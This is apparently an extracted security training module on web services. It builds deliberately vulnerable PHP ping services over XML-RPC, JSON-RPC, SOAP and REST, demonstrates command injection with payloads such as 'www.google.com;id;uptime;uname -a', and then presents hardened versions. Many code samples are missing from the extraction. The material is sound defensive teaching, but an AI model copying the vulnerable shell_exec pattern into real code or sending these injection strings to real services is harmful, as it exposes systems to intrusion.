11 Web Services
11 Web Services
11
WEB SERVICES
PRACTICAL WEB DEFENSE COURSE
Web Services
Author • Abraham Aranguren
Technical Editor • Giuseppe Trotta
Document version • 1.0
Last update • Friday, November 15, 2013
eLearnSecurity 2013 ©
All rights reserved. No part of this document may be reproduced in any form or by any electronic or
mechanical means, including information storage and retrieval systems, without written permission
from the publisher, except in the case of a reviewer, who may quote brief passages embodied in
critical articles or in a review.
eLearnSecurity s.r.l.
36,38 Via Matteucci
Pisa, ITALY 56124
P W D / P R A C T I C A L W E B D E F E N S E
1. TABLE OF CONTENTS
INTRODUCTION 1
1. XML-RPC BASICS 6
1.1 INTRODUCTION 6
1.2 BASIC XML-RPC USAGE 7
1.3 FINGERPRINTING XML-RPC WEB SERVICES 8
Finding XML-RPC web services 8
Enumerating available methods via listMethods 9
Learning more about a method via methodHelp and methodSignature 10
1.4 ATTACKING XML-RPC WEB SERVICES 12
1.5 XML-RPC DEFENSE GUIDELINES 15
2. JSON-RPC BASICS 19
2.1 INTRODUCTION 19
2.2 BASIC JSON-RPC USAGE 19
2.3 FINGERPRINTING JSON-RPC WEB SERVICES 21
2.4 ATTACKING JSON-RPC WEB SERVICES 22
2.5 JSON-RPC DEFENSE GUIDELINES 24
3. SOAP BASICS 30
3.1 INTRODUCTION 30
3.2 BASIC SOAP USAGE 30
3.3 FINGERPRINTING SOAP WEB SERVICES 32
Finding SOAP web services 32
Enumerating available methods via WSDL 33
3.4 ATTACKING SOAP WEB SERVICES 36
3.5 SOAP DEFENSE GUIDELINES 38
4. REST BASICS 44
4.1 INTRODUCTION 44
4.2 BASIC REST USAGE 46
4.3 FINGERPRINTING REST WEB SERVICES 46
4.4 ATTACKING REST WEB SERVICES 47
4.5 REST DEFENSE GUIDELINES 47
5. WEB SERVICE INFORMATION GATHERING 51
5.1 INTRODUCTION 51
5.2 WHAT THE PROBLEM IS 51
5.3 HOW CAN I SEE IF I AM VULNERABLE TO THIS? 52
How to check if your web services are exposed 52
Review available web service methods 52
5.4 HOW CAN I FIX THIS? 54
Require authentication for sensitive functions 54
Disable web service indexing 54
Do not expose the WSDL 55
5.5 FURTHER READING 55
6. SOAP/REST ACTION SPOOFING 56
P W D / P R A C T I C A L W E B D E F E N S E
6.1 INTRODUCTION 56
6.2 WHAT THE PROBLEM IS 57
6.3 HOW CAN I SEE IF I AM VULNERABLE TO THIS? 57
SOAP spoofing attacks 57
REST action spoofing (HTTP verb tampering) attacks 58
Ambiguity in parameter sources may lead to security bypasses 59
6.4 HOW CAN I FIX THIS? 60
Mitigating SOAPAction spoofing attacks 60
Mitigating REST HTTP verb tampering attacks 60
6.5 FURTHER READING 61
7. XML ATTACKS 62
7.1 INTRODUCTION 62
7.2 HOW CAN I SEE IF I AM VULNERABLE TO THIS? 62
7.3 HOW CAN I FIX THIS? 64
Favor less complex web services 64
Favor JSON over XML 65
Disable External Entity support 65
Disable DOCTYPE Declarations 67
Prefer SAX over DOM XML parsers 68
Validate XML files against schemas 68
Output encode user input before rendering it within XML 68
Validate user input against a while-list on top of everything else 68
Put it all together 69
7.4 FURTHER READING 70
8. FILE UPLOAD ATTACKS 72
8.1 INTRODUCTION 72
8.2 HOW CAN I SEE IF I AM VULNERABLE TO THIS? 72
8.3 HOW CAN I FIX THIS? 74
Do not store user-files in the filesystem 74
Deny webroot write permissions to the web user 74
Validate user-supplied file names using a white-list 75
Validate user-supplied file extensions using a white-list 77
Validate user-supplied file contents using a white-list 78
Validate user-supplied mime types against a white-list 78
If you really need to store files in the filesystem.. 79
Disable script execution on the upload directory 80
Render the file from another domain 80
Render the file using anti-XSS headers 81
Do not render user-supplied input other than the content 81
Scan user uploaded files 82
Put it all together 82
8.4 FURTHER READING 83
9. REPLAY ATTACKS 84
9.1 INTRODUCTION 84
9.2 WHAT THE PROBLEM IS 84
9.3 HOW CAN I SEE IF I AM VULNERABLE TO THIS? 84
9.4 HOW CAN I FIX THIS? 87
If possible, implement IP filtering 87
If possible, implement authentication and track attempts by user 87
If possible, implement anti-CSRF protections 88
P W D / P R A C T I C A L W E B D E F E N S E
I
INTRODUCTION
This module focuses on specific defense tactics against web service attacks.
Web Services are server-side programs that provide an API, or in other words,
functionality that can be easily invoked programmatically.
The API of a Web Service typically facilitates some of the following:
• Integration between applications
For example, application “A” can call functionality from application “B”.
A real world example of this is the Flickr API:
http://www.flickr.com/services/api/
• Separation within an application
For example, a JavaScript front-end retrieves data from a web service without making the user
refresh the full page.
Apache CFX is a real world example of automated JavaScript code generation for web services:
http://cxf.apache.org/docs/javascript-clients.html
Web Services are generally implemented using one of the following approaches:
• XML-RPC
XML-RPC is a remote procedure call (RPC) protocol that uses XML to invoke
functionality, usually over HTTP. This was the first web service protocol, and it
was created in 1998.
The following is an example XML-RPC request sent over HTTP that pings
www.google.com using 2 ICMP packets (indented for readability):
• JSON-RPC
JSON-RPC is a remote procedure call (RPC) protocol that uses JSON to invoke
functionality, usually over HTTP. The first specification was created in 2005.
JSON-RPC is very similar to XML-RPC. However, JSON-RPC provides more
human-readable messages and takes approximately 4 times less space to send the
same message than it would take for XML-RPC (i.e. Please note the Content-
Length header in these equivalent examples).
The following is an example JSON-RPC request sent over HTTP that pings
www.google.com using 2 ICMP packets:
• SOAP
SOAP is a messaging protocol that uses XML to invoke functionality, usually over
HTTP or SMTP. SOAP was originally designed in 1998 and the most widely used
versions are 1.11 (2000) and 1.22 (2007).
SOAP is the successor of XML-RPC and provides much more functionality such
as encryption, digital signatures and routing of SOAP messages among other
features.
SOAP web services may optionally provide a Web Services Definition Language
(WSDL) declaration that specifies how they may be used3.
The following is an example SOAP message sent over HTTP that pings
www.google.com using 2 ICMP packets (indented for readability):
• WS-BPEL
The Web Services Business Process Execution Language (BPEL, an OASIS
standard4) is an XML language that describes business processes. Among many
other features, BPEL allows defining variables, execution flow, concurrent
processes, error handling, etc. BPEL was first released in 2002.
In essence, BPEL Web Services are SOAP Web Services with additional
functionality to describe and invoke business processes.
1 http://www.w3.org/TR/2000/NOTE-SOAP-20000508/
2 http://www.w3.org/TR/soap12-part1/
3 http://www.w3.org/TR/wsdl
4 http://docs.oasis-open.org/wsbpel/2.0/wsbpel-v2.0.html
This means that BPEL Web Services may be subject to the same attacks as SOAP
web services as well as business logic flaws.
Because of their overlap with SOAP Web Services and inherent complexity, WS-
BPEL Web Services are beyond the scope of this course. It is important to note
that most BPEL engines are implemented in Java5. Microsoft BizTalk Server6 also
supports BPEL.
Please note that, due to their complexity, WS-BPEL web services may be subject
to all of the SOAP, WSDL, XML and BPEL attacks described in this website:
http://ws-attacks.org/index.php/Main_Page
Please note that all of the security recommendations for SOAP web services in this
chapter also apply to BPEL web services.
• RESTful
REST is not a protocol but rather a set of principles to build web services. Unlike
XML-RPC, JSON-RPC, SOAP and WS-BEPL (all of them being transport
agnostic), REST web services are only meant to be used over HTTP. REST
was first introduced in 20007 but only gained wide adoption a few years later.
REST web services are increasingly popular and many major web service providers
such as Facebook, Google, etc. have deprecated or removed their SOAP web
services in favor of REST.
The Web Service Description Language (WSDL) was extended in version 2.0 to
support REST web services in addition to SOAP89. However, WSDL declarations
are very uncommon in RESTful web services in practice.
Being just a set of principles, REST web services generally use JSON or XML but
any other message transport format such as plain-text is also possible. The
implementation of REST web services will therefore depend on the choices
made by the development team that built the web service.
The following is an example HTTP request sent to a REST web service that pings
www.google.com using 2 ICMP packets:
5 http://en.wikipedia.org/wiki/Comparison_of_BPEL_engines
6 http://msdn.microsoft.com/en-us/library/dd547397%28v=bts.10%29.aspx
7 http://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm
8 http://www.w3.org/TR/2007/REC-wsdl20-primer-20070626/
9 http://www.ibm.com/developerworks/webservices/library/ws-restwsdl
With their different advantages and disadvantages, the reality is that both modern and
legacy web services continue to be implemented and maintained using these major
approaches: XML-RPC, JSON-RPC, SOAP, WS-BPEL and REST.
Please note that web services may be vulnerable to all other attacks covered in this course
in addition to what is covered in this chapter.
It is important to note that web services tend to be complicated to test (for security and in
general), because of this they are often some of the weakest application areas, and this
makes them attractive for attackers. For this reason, when engaging with a penetration
testing company or an internal security team, it is important to facilitate as much
information as possible so that the security test is more likely to be valuable. A great list of
items to discuss between a security testing team/company and a development team can be
found here:
1
1. XML-RPC BASICS
1.1 Introduction
In case you are unfamiliar with XML-RPC web services, in this section we will briefly
illustrate how XML-RPC web services work.
For simplicity reasons, we will use the XML-RPC module from Zend Framework10.
In most Linux distributions, you can automatically get the dependencies for zend-xmlrpc
as follows (this allows you to use zend-xmlrpc without having a Zend Framework web
application):
10 http://framework.zend.com
<?php
require "vendor/autoload.php";//Composer sorts out the Zend Framework
dependencies for us
The idea of this web service is that a script hosted on another website can perform
network connectivity checks automatically. We can verify this creating an XML-RPC
client, also provided by Zend Framework, which we can save in a file called
ping_client.php:
11 http://framework.zend.com/manual/2.2/en/modules/zend.xmlrpc.server.html
<?php
require "vendor/autoload.php";////Composer sorts out the Zend Framework
dependencies for us
$client = new
Zend\XmlRpc\Client('http://example.com/web_services/xml_rpc/ping_server.
php');
echo $client->call('Pinger.Ping', array('www.google.com',
'2'));//Consume web service and return the response
We can easily invoke the XML-RPC client using PHP from the command line to verify
that the XML-RPC web service is being consumed correctly (i.e. 2 ping packets are sent to
www.google.com):
php ping_client.php
XML-RPC web services may be found observing the web application (i.e. if the web
service is consumed by the web app) and/or triggering (or searching in search engines for)
XML-RPC errors or responses. In our example, if we send an empty XML-RPC request
the response from an XML-RPC web service will show a characteristic
“<methodResponse>” XML-RPC response.
Returns:
curl http://example.com/web_services/xml_rpc/ping_server.php
Returns:
Once the XML-RPC web service has been identified, the next step is to figure out how to
call it. The system.listMethods XML-RPC method name will list all the available
methods in the XML-RPC web service:
This returns the full list of available XML-RPC methods in this web service. In our
example, this includes the Pinger.Ping method:
<string>system.listMethods</string>
</value>
<value>
<string>system.methodHelp</string>
</value>
<value>
<string>system.methodSignature</string>
</value>
<value>
<string>system.multicall</string>
</value>
<value>
<string>Pinger.Ping</string>
</value>
</data>
</array>
</value>
</param>
</params>
</methodResponse>
Returns:
Returns:
Using this file, our XML-RPC web service works as expected, showing the XML-RPC
response of a single ping to the specified host www.google.com:
Returns:
However, since the host and even the number of packets are not escaped, we can use the
“;” shell character to terminate the ping command and run arbitrary commands, for
example “uname -a”, “uptime” and “id”.
It is important to note that the attack can now be sent like this (reading POST data from
evil_ping.txt):
But also like this (sending POST data directly from the command line):
The following table illustrates how the command changes based on the user input
provided:
This proves that our XML-RPC web service is vulnerable to command injection as can be
seen in the XML-RPC response:
This illustrates how user input processing may introduce security issues in XML-RPC web
services similar to those in web applications.
<?php
$only_allowed_ips = array('127.0.0.1');//White-list of only allowed IPs
to consume this web service
if (!in_array($_SERVER['REMOTE_ADDR'], $only_allowed_ips)) {
die('Unauthorized access');
}
session_start();
if (!isset($_SESSION['logged_in']) || !$_SESSION['logged_in']) {
die('Unauthorized access');
}
XML-RPC will enforce data-types, this can be leveraged to limit potential for some
attacks, in our example $num_packets should be an XML-RPC integer, not an
XML-RPC string, this will prevent command injection on that parameter. We can
instruct Zend Framework to use the “int” XML-RPC data type for the
$num_packets parameter via type-hinting:
IMPORTANT: Using Zend Framework in PHP this will not solve anything, but in
other platforms with more strict data-types (or libraries that enforce the XML-RPC
data-types) it might.
6. Validate user input against a white-list of allowed values (best) or a white-list of
only allowed characters (second best)
In our example, we could restrict the number of packets to somewhere between 1
and 4, and only allow pinging www.google.com and 127.0.0.1:
NOTE: In the real world, if you can use a white-list of values you will probably
not need to validate data against a list of white-listed characters as well. This being
said, redundant security controls do have their place: If somebody comments
or deletes a security control by mistake in a future development phase, the
remaining security controls will hopefully provide enough protection to prevent
exploitation of the vulnerability.
Defenses work best when combined together, the following is our no longer
vulnerable ping XML-RPC web service implementing most of the defenses
described here:
<?php
$only_allowed_ips = array('127.0.0.1');//White-list of only allowed IPs
to consume this web service
if (!in_array($_SERVER['REMOTE_ADDR'], $only_allowed_ips)) {
die('Unauthorized access');
}
require "vendor/autoload.php";//Composer sorts out the Zend Framework
dependencies for us
Our example ping XML-RPC web service remains working as expected but is no
longer vulnerable to command injection. The XML-RPC request needs to be
altered slightly to cater for the int data type:
Returns:
2
2. JSON-RPC BASICS
2.1 Introduction
In case you are unfamiliar with JSON-RPC web services, in this section we will briefly
illustrate how JSON-RPC web services work.
For simplicity reasons, we will use the JSON-RPC module from Zend Framework12.
In most Linux distributions, you can automatically get the dependencies for zend-json and
zend-server as follows (this allows you to use these components without having a Zend
Framework web application):
12 http://framework.zend.com
After dependencies are sorted, we can create a very simple vulnerable JSON-RPC web
service called “ping_server.php” like this:
<?php
require "vendor/autoload.php";//Composer sorts out the Zend Framework
dependencies for us
The idea of this web service is that a script hosted on another website can perform
network connectivity checks automatically.
13 http://framework.zend.com/manual/2.2/en/modules/zend.json.server.html
The JSON-RPC id parameter (i.e. "id": 1 in our examples) intends to help the client sort
the responses since they are not guaranteed to be returned in order, please see the
following resources for more information on JSON-RPC ids:
• JSON-RPC - What is the “id” for?
http://stackoverflow.com/questions/2210791/json-rpc-what-is-the-id-for
• JSON-RPC 2.0 specification
http://www.jsonrpc.org/specification
The JSON-RPC web service returns the following JSON-RPC response:
Returns:
{"error":{"code":-32600,"message":"Invalid
Request","data":null},"id":null}
In addition to this, most JSON-RPC web services will provide information about the
functionality available when they receive a GET HTTP request. In our example, a GET
HTTP request to our JSON-RPC web service will provide information about the Ping
functionality as well as the parameters available and their expected data types.
This is called “Service Mapping Description” (SMD)14, which is not a standard but is
implemented by some JSON-RPC web services15.
Example GET HTTP request:
curl http://example.com/web_services/json_rpc/ping_server.php
Returns:
{"transport":"POST","envelope":"JSON-RPC-
2.0","contentType":"application\/json","SMDVersion":"2.0","target":"ping
_server.php","services":{"Ping":{"envelope":"JSON-RPC-
2.0","transport":"POST","parameters":[{"type":"string","name":"host","op
tional":false},{"type":"string","name":"num_packets","optional":false}],
"returns":"string"}},"methods":{"Ping":{"envelope":"JSON-RPC-
2.0","transport":"POST","parameters":[{"type":"string","name":"host","op
tional":false},{"type":"string","name":"num_packets","optional":false}],
"returns":"string"}}}
This returns the following JSON-RPC response, which shows the shell command output
of a single ping sent to the specified host www.google.com:
14 https://dojotoolkit.org/reference-guide/1.9/dojox/rpc/smd.html
15 https://groups.google.com/forum/#!topic/json-schema/Gn3T4HFye8w
In our example, since the host and even the number of packets are not escaped, we can
use the “;” shell character to terminate the ping command and run arbitrary commands,
for example “uname -a”, “uptime” and “id”. For example:
Or also (there are many more options, but you get the idea):
The following table illustrates how the command changes based on the user input
provided:
This is slightly different from the attack used in the XML-RPC section and demonstrates
that the attacker does not need to build a valid ping command.
The first attack results in the following command being executed:
2. “uptime www.google.com” is OK
uptime will simply ignore www.google.com.
3. “uname-a” and “id” work as expected
The second attack results in the following command being executed. The difference is that
in this case the “#” symbol with make the command ignore “www.google.com” part of
the command:
This proves that our JSON-RPC web service is vulnerable to command injection as can be
seen in the JSON-RPC response:
This illustrates how user input processing may introduce security issues in JSON-RPC web
services similar to those in web applications.
Now the JSON-RPC web service will return significantly less information when it
receives an HTTP GET request:
curl http://example.com/web_services/json_rpc/ping_server.php
Returns now:
{"error":{"code":-32600,"message":"Invalid
Request","data":null},"id":null}
curl http://example.com/web_services/json_rpc/ping_server.php
Returned before:
{"transport":"POST","envelope":"JSON-RPC-
2.0","contentType":"application\/json","SMDVersion":"2.0","target":"ping
_server.php","services":{"Ping":{"envelope":"JSON-RPC-
2.0","transport":"POST","parameters":[{"type":"string","name":"host","op
tional":false},{"type":"string","name":"num_packets","optional":false}],
"returns":"string"}},"methods":{"Ping":{"envelope":"JSON-RPC-
2.0","transport":"POST","parameters":[{"type":"string","name":"host","op
tional":false},{"type":"string","name":"num_packets","optional":false}],
"returns":"string"}}}
<?php
$only_allowed_ips = array('127.0.0.1');//White-list of only allowed IPs
to consume this web service
if (!in_array($_SERVER['REMOTE_ADDR'], $only_allowed_ips)) {
die('Unauthorized access');
}
session_start();
if (!isset($_SESSION['logged_in']) || !$_SESSION['logged_in']) {
die('Unauthorized access');
}
IMPORTANT: Using Zend Framework in PHP this will not solve anything, but in
other platforms with more strict data-types (or libraries that enforce the JSON-
RPC data-types) it might.
6. Validate user input against a white-list of allowed values (best) or a white-list of
only allowed characters (second best)
In our example, we could restrict the number of packets to somewhere between 1
and 4, and only allow pinging www.google.com and 127.0.0.1:
the most aggressive platform function available to mitigate command injection (i.e.
“escapeshellarg” in PHP):
<?php
$only_allowed_ips = array('127.0.0.1');//White-list of only allowed IPs
to consume this web service
if (!in_array($_SERVER['REMOTE_ADDR'], $only_allowed_ips)) {
die('Unauthorized access');
}
require "vendor/autoload.php";//Composer sorts out the Zend Framework
dependencies for us
}
}
Our example ping JSON-RPC web service remains working as expected but is no
longer vulnerable to command injection.
Please note that unlike our previous XML-RPC example, the JSON-RPC request
does not need to be altered to cater for the int data type. The following JSON-
RPC requests illustrate how the JSON-RPC web service keeps working as
expected while no longer being vulnerable to command injection.
The following illustrates how the web service behaves after implementing the
security controls:
Blocked attack example:
Returns:
Returns:
3
3. SOAP BASICS
3.1 Introduction
In case you are unfamiliar with SOAP web services, in this section we will briefly illustrate
how SOAP web services work.
For simplicity reasons, we will use the zend-soap module from Zend Framework16.
In most Linux distributions, you can automatically get the dependencies for zend-soap as
follows (this allows you to use zend-soap without having a Zend Framework web
application):
16 http://framework.zend.com
After dependencies are sorted, we can create a very simple vulnerable SOAP web service
called “ping_server.php” like this:
<?php
require "vendor/autoload.php";//Composer sorts out the Zend Framework
dependencies for us
$URL = "http://example.com/web_services/soap/ping_server.php";//URL for
this script
$WSDL_URL = $URL . '?wsdl';//URL where the WSDL is
The idea of this web service is that a script hosted on another website can perform
network connectivity checks automatically. We can verify this using a SOAP client,
also provided by Zend Framework, saving the following in a file called ping_client.php:
17 http://framework.zend.com/manual/2.2/en/modules/zend.soap.auto-discovery.html
<?php
require "vendor/autoload.php";////Composer sorts out the Zend Framework
dependencies for us
$client = new
Zend\Soap\Client('http://example.com/web_services/soap/ping_server.php?w
sdl');
echo $client->Ping('www.google.com', '2');
We can easily invoke the SOAP client using PHP from the command line to verify that
the SOAP web service is being consumed correctly (i.e. 2 ping packets are sent to
www.google.com):
php ping_client.php
Returns:
SOAP web services may be found observing the web application (i.e. if the web service is
consumed by the web app) and/or triggering (or searching in search engines for) SOAP
errors, responses and WSDL declarations (i.e. “site:target.com inurl:wsdl”). In our
example, if we send an empty GET or POST HTTP request the response from a SOAP
web service will show a characteristic SOAP response:
Empty POST request example:
Returns:
curl http://example.com/web_services/soap/ping_server.php
Returns:
Once the SOAP web service has been identified, the next step is to figure out how to call
it. The Web Service Definition Language (WSDL) provides a description of all the
available functionality in the SOAP web service. In our example, the WSDL can be seen
adding “?wsdl” to the web service URL:
curl http://example.com/web_services/soap/ping_server.php?wsdl
Please note that although “?wsdl” is a common approach, there are other common
alternatives such as “?disco”.
This returns the following WSDL for our Ping SOAP web service (indented for
readability):
<portType name="PingPort">
<operation name="Ping">
<documentation>Pings a $host using $num_packets and returns the
command result</documentation>
<input message="tns:PingIn" />
<output message="tns:PingOut" />
</operation>
</portType>
<binding name="PingBinding" type="tns:PingPort">
<soap:binding style="rpc"
transport="http://schemas.xmlsoap.org/soap/http" />
<operation name="Ping">
<soap:operation
soapAction="http://example.com/web_services/soap/ping_server.php#Ping"
/>
<input>
<soap:body use="encoded"
encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
namespace="http://example.com/web_services/soap/ping_server.php" />
</input>
<output>
<soap:body use="encoded"
encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
namespace="http://example.com/web_services/soap/ping_server.php" />
</output>
</operation>
</binding>
<service name="PingService">
<port name="PingPort" binding="tns:PingBinding">
<soap:address
location="http://example.com/web_services/soap/ping_server.php" />
</port>
</service>
<message name="PingIn">
<part name="host" type="xsd:string" />
<part name="num_packets" type="xsd:string" />
</message>
<message name="PingOut">
<part name="return" type="xsd:string" />
</message>
</definitions>
Because of their complexity, WSDL declarations are usually generated using automated
tools such as Zend\Soap\AutoDiscover18 in our example.
In addition to this, you may have noticed that our Zend Framework example references
the WSDL URL both on the client and the server:
Client (ping_client.php):
18 http://framework.zend.com/manual/2.2/en/modules/zend.soap.auto-discovery.html
$client = new
Zend\Soap\Client('http://example.com/web_services/soap/ping_server.php?w
sdl');
Server (ping_server.php):
Therefore, both the client and the server are heavily relying on the following code snippet
on the server side (ping_server.php), which is generating the above WSDL:
WSDL declarations are therefore very important to facilitate calling SOAP web
services and some libraries might not work without them.
Using this file, our SOAP web service works as expected, showing the SOAP response of
a single ping to the specified host www.google.com:
Returns:
However, since the host and even the number of packets are not escaped, we can use the
“;” shell character to terminate the ping command and run arbitrary commands, for
example “uname -a”, “uptime” and “id”. To illustrate this we can create an alternative
SOAP payload in a new file called “evil_ping.txt”:
NOTE: This attack is similar to the one used in the JSON-RPC section and works for the
same reasons.
This proves that our SOAP web service is vulnerable to command injection as can be seen
in the SOAP response:
This illustrates how user input processing may introduce security issues in SOAP web
services similar to those in web applications.
define('IS_DEV_ENVIRONMENT', false);
if (IS_DEV_ENVIRONMENT && isset($_GET['wsdl'])) {//Provide WSDL
declaration for this SOAP Web Service (the URL is '..?wsdl')
Step 3: Change the SOAP server so that it uses the WSDL file instead of the URL
Of course, the SOAP server now does no longer have a URL to retrieve the
WSDL from, but most libraries will allow to provide the WSDL from a file. The
following example loads a WSDL file from /home/www/ping_server.wsdl:
$server = new
Zend\Soap\Server('/home/www/ping_server.wsdl');//Instantiates the Zend
Framework SOAP server
Step 4: Change the SOAP client so that it uses the WSDL file instead of the URL
Finally, the SOAP client needs to be changed to load the WSDL file from the
filesystem instead of a URL.
NOTE: In the real world, you would probably have something like a
WSDL_LOCATION constant that is loaded from a configuration file.
• Disable DOCTYPE declarations OR use a framework that disables them
SOAP web services are based on XML messages and therefore must parse XML,
this means DOCTYPE attack vectors for XEE and XXE attacks exist.
Zend Framework removed support for DOCTYPE declarations in Zend_Soap in
2012 to solve this problem:
o Security Advisory
ZF2012-02: Denial of Service vector via XEE injection
http://framework.zend.com/security/advisory/ZF2012-02
• If possible, implement IP-filtering
In many cases, web services are only meant to be available from a very limited
number of trusted hosts, when this is the case, all requests coming from untrusted
IPs should be rejected. Adding the following to the top of our example
implements this:
<?php
$only_allowed_ips = array('127.0.0.1');//White-list of only allowed IPs
to consume this web service
if (!in_array($_SERVER['REMOTE_ADDR'], $only_allowed_ips)) {
die('Unauthorized access');
}
session_start();
if (!isset($_SESSION['logged_in']) || !$_SESSION['logged_in']) {
die('Unauthorized access');
}
IMPORTANT: Using Zend Framework in PHP this will not solve anything, but in
other platforms with more strict data-types (or libraries that enforce the SOAP
data-types) it might.
• Validate user input against a white-list of allowed values (best) or a white-list of
only allowed characters (second best)
In our example, we could restrict the number of packets to somewhere between 1
and 4, and only allow pinging www.google.com and 127.0.0.1:
<?php
$only_allowed_ips = array('127.0.0.1');//White-list of only allowed IPs
to consume this web service
if (!in_array($_SERVER['REMOTE_ADDR'], $only_allowed_ips)) {
die('Unauthorized access');
}
}
//white-list of allowed characters (second best)
if (strlen($host) > 15 || strlen($num_packets) > 1
|| !preg_match('|^[a-z\.]+$|', $host) ||
!preg_match('|^[1-9][0-9]*$|', $num_packets)) {
return 'host or number of packets have an
invalid format, sorry';
}
return shell_exec("ping -c" .
escapeshellarg($num_packets) . " " . escapeshellarg($host));
}
}
define('IS_DEV_ENVIRONMENT', false);
if (IS_DEV_ENVIRONMENT && isset($_GET['wsdl'])) {//Provide WSDL
declaration for this SOAP Web Service (the URL is '..?wsdl')
$wsdl = new Zend\Soap\AutoDiscover();//This generates the WSDL
for us
$wsdl->setClass('Pinger')
->setUri($URL)
->setServiceName('Ping');
$wsdl->handle();
}
else {//Provide the SOAP Web Service functionality
$server = new
Zend\Soap\Server('/home/www/ping_server.wsdl');//Instantiates the Zend
Framework SOAP server
$server->setClass('Pinger');//Maps our Pinger class to handle
SOAP requests
$server->handle();//Returns the response for each SOAP request
}
The following is the full updated SOAP client implementing the offline WSDL
security control:
<?php
require "vendor/autoload.php";////Composer sorts out the Zend Framework
dependencies for us
$client = new Zend\Soap\Client('/home/www/ping_server.wsdl');
echo $client->Ping('www.google.com', '2');
Our example ping SOAP web service remains working as expected but is no
longer vulnerable to command injection. The SOAP message could be amended to
cater for the int data type:
<env:Body>
<ns1:Ping env:encodingStyle="http://www.w3.org/2003/05/soap-
encoding">
<host xsi:type="xsd:string">www.google.com</host>
<num_packets xsi:type="xsd:int">2</num_packets>
</ns1:Ping>
</env:Body>
</env:Envelope>
Assuming this has been saved to a file called ‘normal_ping.txt’, the functionality
can be verified as follows:
Returns:
4
4. REST BASICS
4.1 Introduction
In case you are unfamiliar with RESTful web services, in this section we will briefly
illustrate how RESTful web services work.
RESTful APIs are generally based on HTTP verbs to determine the action:
HTTP verb Action Description
GET Lists a collection of records or displays a given record:
RESTful URL to list all books available: http://example.com/books
RESTful URL to view a book: http://example.com/books/1
PUT Replaces a record, or creates it if it does not exist
RESTful URL to replace a book (the HTTP request body would have the
contents):
http://example.com/books/1
POST Creates a new record
RESTful URL to create a new book (the HTTP request body would have
the contents):
http://example.com/books
DELETE Deletes a record
RESTful URL to delete a book:
http://example.com/books/1
For simplicity reasons, we will use the popular Slim Framework19 in our examples.
In most Linux distributions, you can automatically get the dependencies for the Slim
Framework as follows:
In addition to this, REST web services require configuring the web server to redirect
HTTP requests to the relevant REST application controller (in our case “index.php”).
This can be achieved using an .htaccess file like the following in Apache:
RewriteEngine On
RewriteBase /web_services/rest
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ index.php/$1 [L]
Finally, .htaccess files must be enabled in Apache so that the redirect works under the
/var/www/web_services/rest directory. In Kali Linux, this requires editing the following
file:
gedit /etc/apache2/sites-available/default
And then ensure that “AllowOverride All” is set on the /var/www directory (or
/var/www/web_services/rest, if .htaccess files are only intended to be present there):
…
<Directory /var/www/>
Options Indexes FollowSymLinks MultiViews
#AllowOverride None Comment this
AllowOverride All Add this
…
19 http://www.slimframework.com/
<?php
require 'vendor/autoload.php';//Composer handles all dependencies for us
The idea of this web service is that a script hosted on another website can perform
network connectivity checks automatically. We can verify this using curl:
curl 'http://example.com/web_services/rest/ping/www.google.com/1'
Returns:
curl
'http://example.com/web_services/rest/ping/www.google.com;id;uptime;unam
e%20-a/1'
This proves that our REST web service is vulnerable to command injection as can be seen
in the HTTP response:
This illustrates how user input processing may introduce security issues in REST web
services similar to those in web applications.
<?php
$only_allowed_ips = array('127.0.0.1');//White-list of only allowed IPs
to consume this web service
if (!in_array($_SERVER['REMOTE_ADDR'], $only_allowed_ips)) {
die('Unauthorized access');
}
session_start();
if (!isset($_SESSION['logged_in']) || !$_SESSION['logged_in']) {
die('Unauthorized access');
}
<?php
$only_allowed_ips = array('127.0.0.1');//White-list of only allowed IPs
to consume this web service
if (!in_array($_SERVER['REMOTE_ADDR'], $only_allowed_ips)) {
die('Unauthorized access');
}
require 'vendor/autoload.php';//Composer handles all dependencies for us
curl
'http://example.com/web_services/rest/ping/www.google.com;id;uptime;unam
e%20-a/1'
Returns:
curl 'http://example.com/web_services/rest/ping/www.google.com/1'
Returns:
5
5. WEB SERVICE INFORMATION
GATHERING
5.1 Introduction
The first step for attacking a web service is to find it and understand how to use it. This
web service finding and usage phase is called “web service information gathering”. Web
service information gathering typically consists of two stages:
1. Finding web services: Generally through Google Hacking or reverse engineering
2. Understand how to call them: Generally through WSDL20, UDDI21 or reverse
engineering
Reverse engineering can be performed through analysis/monitoring/decompiling of
JavaScript, Flash or Silverlight.
20 http://www.w3.org/TR/wsdl
21 http://www.w3schools.com/wsdl/wsdl_uddi.asp
You can see if your web services are exposed to the internet by simply performing the
following Google Search:
Web services may additionally be discovered via UDDI services such as the following:
• SOAPClient
Universal Description, Discovery, and Integration (UDDI) Service is an industry-wide effort to
bring a common standard for business-to-business(B2B) integration. It defines a set of standard
interfaces for accessing a database of web services. As a pioneer of web service implementations, we
provide this web interface to the live registries.
http://www.soapclient.com/uddisearch.html
• WSIndex
Web services Links & Resources
http://www.wsindex.org/
If you have a RESTful web service called “rest_service.php” you could search for it
like this:
inurl:rest_service.php site:mywebsite.com
Sometimes web service WSDL metadata will list very sensitive administrative functions
